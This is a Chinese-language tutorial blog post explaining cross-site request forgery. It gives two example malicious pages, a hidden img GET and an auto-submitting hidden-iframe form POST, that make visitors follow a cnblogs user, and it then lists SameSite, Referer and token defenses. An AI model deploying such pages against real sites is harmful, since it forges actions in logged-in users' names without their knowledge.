zoukankan      html  css  js  c++  java
  • csrf攻击

    csrf 是跨站点伪造请求,主要利用发请求,浏览器每次都会自动带上 cookie 这个特点。

    下面我们看看例子:

    例子一:

    如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:

    <!DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8">
        <title></title>
      </head>
      <body>
        <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/>
      </body>
    </html>

    在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主

    例子二:

    如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api

    <!--恶意页面主页-->
    <!DOCTYPE HTML>
    <html lang="en">
    <body>
        <iframe src="./form.html" style="display:none"></iframe>
    </body>
    </html>
    
    <!--iframe-->
    <!DOCTYPE html>
    <html lang="en">
    <body>
        <form action="https://home.cnblogs.com/ajax/follow/followUser" method="post">
          <input name="userId" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/>
          <input name="remark" value=""/>
          <input type="submit" value="提交" />
        </form>
        <script>
            document.querySelector('form').submit();
        </script>
       </body>
    </html>    

    防御措施:

    1. cookie 设置 samesite 属性,不允许跨域传递 cookie

    2. 检测Referer是否是本站的域名 ------- 最常用的了

    3. 用Token存放在Cookie以外的位置(例如作为get参数、作为自定义Http Header)

  • 相关阅读:
    Java基本数据类型
    Java位运算符
    Java条件编译
    Groovy学习笔记(二)
    Groovy学习笔记(一)
    Java开发环境搭建
    Java接口回调
    [精华][推荐]CAS SSO单点登录服务端客户端实例
    CAS SSO单点登录实例
    分布式架构springcloud+redis+springmvc+springboot
  • 原文地址:https://www.cnblogs.com/amiezhang/p/8543323.html
Copyright © 2011-2022 走看看